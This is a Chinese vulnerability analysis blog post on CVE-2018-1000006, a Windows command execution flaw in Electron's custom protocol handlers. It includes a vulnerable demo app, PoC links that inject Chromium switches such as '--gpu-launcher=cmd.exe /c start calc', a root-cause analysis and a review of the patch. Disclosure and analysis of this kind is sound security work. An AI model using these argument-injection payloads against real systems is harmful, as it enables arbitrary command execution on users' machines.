Chybeta

[CVE-2018-1000006]Electron <= v1.8.2-beta.4 远程命令执行漏洞

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本文首发于阿里先知安全社区：Electron < v1.8.2-beta.4 远程命令执行漏洞—【CVE-2018-1000006】

Electron

Electron是基于Chromium 和Node.js，并使用HTML、JS、CSS来构建应用的框架。项目地址：https://github.com/electron/electron 。在1月22日，官方发布了对漏洞的通告

环境搭建

从上述通告可知，该漏洞有两个要点：

  1. 基于electron构建的app登记了协议，即可以使用该协议直接打开应用程序。
  2. 影响win平台

可以直接从CHYbeta/CVE-2018-1000006-DEMO获取环境，以下部分即可忽略。

新建一个文件夹比如test，里面新建三个文件main.js，index.html，package.json：

main.js:

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const {app, BrowserWindow} = require('electron')
const path = require('path')
const url = require('url')
const dialog = require('electron').dialog
let win
function createWindow () {
  win = new BrowserWindow({width: 800, height: 600})
  win.loadURL(url.format({
    pathname: path.join(__dirname, 'index.html'),
    protocol: 'file:',
    slashes: true
  }))
  win.on('closed', function(){
    win = null
  })
}
app.on('ready', createWindow)
app.on('window-all-closed', () => {
  if (process.platform !== 'darwin') {
    app.quit()
  }
})
app.on('activate', function(){
  if (win === null) {
    createWindow()
  }
})
app.setAsDefaultProtocolClient('chybeta')

index.html:

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<!DOCTYPE html>
<html>
  <head>
    <title>Hello World!</title>
  </head>
  <body>
    <h1>Hello World!</h1>
    This is a demo for CVE-2018-1000006</br>
    Electron version:<script>document.write(process.versions['electron'])</script>.
  </body>
</html>

package.json:

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{
  "name"    : "CVE-2018-1000006 Demo",
  "version" : "0.0.1",
  "main"    : "main.js"
}

包成exe应用,生成有漏洞的版本应用，这里我选择electron版本为1.7.8

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electron-packager ./test elec_rce --win --out ./elec_rce --arch=x64 --version=0.0.1 --electron-version=1.7.8 --download.mirror=https://npm.taobao.org/mirrors/electron/

复现与分析

本地写一个html，其中协议的名称要与之前的设置对上，poc.html:

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<html>
<head>
	POC for CVE-2018-1000006
</head>
<body>
  <a class="protocol" href='chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc</h3></a>
</body>
</html>

当点击一个链接时，会触发cmd，并弹出计算器:

在electron的源码中，atom\browser\browser_win.cc的第212行定义了SetAsDefaultProtocolClient方法：

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bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                        mate::Arguments* args) {
  // HKEY_CLASSES_ROOT
  //    $PROTOCOL
  //       (Default) = "URL:$NAME"
  //       URL Protocol = ""
  //       shell
  //          open
  //             command
  //                (Default) = "$COMMAND" "%1"
  //
  // However, the "HKEY_CLASSES_ROOT" key can only be written by the
  // Administrator user. So, we instead write to "HKEY_CURRENT_USER\
  // Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
  // anyway, and can be written by unprivileged users.
  if (protocol.empty())
    return false;
  base::string16 exe;
  if (!GetProtocolLaunchPath(args, &exe))
    return false;
  // Main Registry Key
  HKEY root = HKEY_CURRENT_USER;
  base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
  base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);
  // Command Key
  base::string16 cmdPath = keyPath + L"\\shell\\open\\command";
  // Write information to registry
  base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
  if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
      FAILED(key.WriteValue(L"", urlDecl.c_str())))
    return false;
  base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
  if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
    return false;
  return true;
}

经过上述的注册表登记，通过查看注册表编辑器，可以发现多了一项：

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"C:\Users\ASUS\Desktop\elec\elec_rce\elec_rce-win32-x64\elec_rce.exe" "%1"

在微软官方文档中，在Launching the Handler一节中提到了在协议登记后如何启动应用：

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When ShellExecute executes the pluggable protocol handler with a stringon the command line, any non-encoded spaces, quotes, and backslashes in the URI will be interpreted as part of the command line. This means that if you use C/C++'s argc and argv to determine the arguments passed to your application, the string may be broken across multiple parameters.

所以当我们点击payload时，注册表中的%1被替换为我们的payload，双引号被成功闭合:

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"C:\Users\ASUS\Desktop\elec\elec_rce\elec_rce-win32-x64\elec_rce.exe" "chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc"

从而传递了第三个参数--gpu-launcher=cmd.exe /c start calc造成命令执行。

对参数传递有疑的可以用下面代码测试：

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#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
    int count;
    for(count = 0;count < argc ; count++)
        printf("argv[%d]: %s\n",count, argv[count]);
    printf("\n");
    getchar();
    return 0;
}

自己手动注册协议，参数解析情况如图：

第三个参数--gpu-launcher=cmd.exe /c start calc会传递给Chromium，在List of Chromium Command Line Switches中总结了Chromium的命令行参数：

所以其实换其他参数也是能命令执行成功的，比如：

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chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

漏洞修复

打包生成打上补丁的版本1.8.2-beta.4：

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electron-packager ./test elec_rce_fixed --win --out ./elec_rce_fixed --arch=x64 --version=0.0.1 --electron-version=1.8.2-beta.4 --download.mirror=https://npm.taobao.org/mirrors/electron/

再点击poc即可发现无法触发计算器。

这个漏洞仅影响win平台，究其根源在于windows用了双引号来传参，在微软官方文档中提到：

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To mitigate this issue:
1. Avoid spaces, quotes, or backslashes in your URI
2. Quote the %1 in the registration ("%1" as written in the 'alert' example registration)

好像就这个洞而言，第二条好像就被轻易饶过了。

Electron官方在 commit-c49cb29ddf3368daf279bd60c007f9c015bc834c修复该漏洞，主要是对参数的接受以及子进程的运行做了检查。

首先增加了对黑名单的验证，新增加了 app/command_line_args.cc，其中第40行增加了黑名单列表:

由CheckCommandLineArguments进行验证：

该验证函数在atom/app/atom_main.cc的第132行调用

另外还增加了对子进程的验证，在atom/browser/atom_browser_client.cc的第244行：

MakeAbsoluteFilePath()是chromium定义的函数，这段代码用于对于启动进程的路径检查，防止未知应用的启动。

实际上，对黑名单的修补是不完善的，可以直接绕过，但后面对于路径的验证却难以绕过，因为路径验证的失败而直接导致程序崩溃。

其他

以上是我分析的一些想法，若有错误烦请各位师傅指出，谢谢各位师傅。

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